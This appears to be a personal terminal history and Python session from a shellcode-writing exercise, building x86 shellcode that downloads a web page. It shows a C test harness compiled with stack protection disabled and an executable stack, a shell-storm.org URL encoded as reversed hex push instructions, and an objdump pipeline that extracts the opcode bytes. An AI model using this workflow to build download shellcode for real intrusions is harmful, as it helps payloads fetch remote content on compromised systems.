custom shell code for downoading web page

 391  nano custom_shell_storm.c
  392  gcc -fno-stack-proctector -z execstack custom_shell_storm.c -o custom_shell_storm
  393  gcc -fno-stack-protector -z execstack custom_shell_storm.c -o custom_shell_storm
  394  ./custom_shell_storm 
  395  gdb ./custom_shell_storm -q
  396  nano fix_shell.nasm
  397  cat fix_shell.nasm | cut -f2
  398  cat fix_shell.nasm | cut -f2 >final.nasm
  399  cat final.nasm 
  400  nano final.nasm 
  401  nasm -f elf32 final.nasm -o final.o
  402  python

>>>url ="http://shell-storm.org/shellcode/files/shellcode-611.php"
>>> rev = url[::-1]
>>> rev
'php.116-edocllehs/selif/edocllehs/gro.mrots-llehs//:ptth'
>>> rev_hex = rev.encode('hex')
>>> 
>>> rev_hex
'7068702e3131362d65646f636c6c6568732f73656c69662f65646f636c6c6568732f67726f2e6d726f74732d6c6c6568732f2f3a70747468'
>>> 
>>> rev_hex
'7068702e3131362d65646f636c6c6568732f73656c69662f65646f636c6c6568732f67726f2e6d726f74732d6c6c6568732f2f3a70747468'
>>> 
>>> for item in map(''.join, zip(*[iter(rev_hex)]*8)) :
...     print "push 0x" +item
... 
push 0x7068702e
push 0x3131362d
push 0x65646f63
push 0x6c6c6568
push 0x732f7365
push 0x6c69662f
push 0x65646f63
push 0x6c6c6568
push 0x732f6772
push 0x6f2e6d72
push 0x6f74732d
push 0x6c6c6568
push 0x732f2f3a
push 0x70747468
>>> 

  403  nano final.nasm 
  404  nasm -f elf32 final.nasm -o final.o
  405  objdump -d final.o -M intel
  406  objdump -d ./final.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
  407  nano custom_shell_storm.c 
  408  gcc -fno-stack-protector -z execstack custom_shell_storm.c -o custom_shell_storm
  409  ./custom_shell_sto